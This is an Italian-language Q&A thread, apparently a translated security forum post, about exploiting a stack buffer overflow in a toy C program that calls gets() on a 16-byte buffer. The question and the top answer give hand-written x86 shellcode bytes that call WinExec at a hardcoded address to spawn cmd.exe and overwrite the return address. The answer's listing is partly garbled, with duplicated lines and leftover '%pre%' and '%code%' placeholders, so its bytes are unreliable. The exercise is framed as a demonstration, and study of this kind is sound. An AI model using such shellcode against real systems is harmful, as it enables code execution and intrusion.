Stack stack overflow exploit stacking caratteri?

1

Ho un programma come questo:

int main() {  
   char buffer[16];
   printf("Write something: ");
   gets(buffer);
   printf("You wrote: %s\n", buffer);
   return 0; 
}

E ho scritto un piccolo payload bytecode, che dovrebbe avviare cmd.exe tramite WinExec,

ADD ESP -80      ; 83 C4 80, at 0x0019FF28
XOR EDX, EDX     ; 31 D2   
PUSH EDX         ; 52
PUSH 'd'         ; 6A 64
PUSH 'm'         ; 6A 6D
PUSH 'c'         ; 6A 63    
PUSH  1          ; 6A 01
NOP              ; 90
CALL F0 F7 77 74 ; E8 F0 F7 77 74 = WinExec (0x7477F7F0) 
28 FF 19         ; 28 FF 19 <-- this should be a new return address

Quindi non riuscirà a eseguire il codice, che è sbagliato. Qualche idea su come modificare il codice o qualsiasi idea di cosa dovrei incorporare nel codice? E non sono sicuro che spingere i personaggi sullo stack sia valido. (E sì, è solo una dimostrazione)

    
posta PeterBocan 05.04.2017 - 08:37
fonte

2 risposte

2

Questo è quello che mi è venuto in mente:

63 6D 64       ; "cmd"  <-- 0x19FF28
20             ; 
63 6D 64       ; "cmd"  <-- 0x19FF28
20             ; %pre%x14
31 C0          ; XOR EAX, EAX <-- 0x19FF2C
8D 1C E4       ; LEA EBX, [ESP]
88 43 03       ; MOV BYTE PTR DS:[EBX+4], AL
40             ; INC EAX
53             ; PUSH EBX
50             ; PUSH EAX (inc)
E8 74 77 F7 F0 ; CALL 74 77 F7 F0 
19 FF 2C       ; jump back to 0x19FF2C
x14 31 C0 ; XOR EAX, EAX <-- 0x19FF2C 8D 1C E4 ; LEA EBX, [ESP] 88 43 03 ; MOV BYTE PTR DS:[EBX+4], AL 40 ; INC EAX 53 ; PUSH EBX 50 ; PUSH EAX (inc) E8 74 77 F7 F0 ; CALL 74 77 F7 F0 19 FF 2C ; jump back to 0x19FF2C

Prende 23 byte, tuttavia necessita di un tweak sull'indirizzo, dove salta.

    
risposta data 05.04.2017 - 11:28
fonte
0

Sembra che tu stia chiamando WinExec('d', 'm', 'c', 1) , dal momento che spingi ciascun carattere separatamente nello stack.

Invece, devi spingere un puntatore nello stack che punta a cmdc . In altre parole, si preme l'indirizzo del cmd%code% in %code% , dove %code% è il byte null.

    
risposta data 05.04.2017 - 08:47
fonte

Leggi altre domande sui tag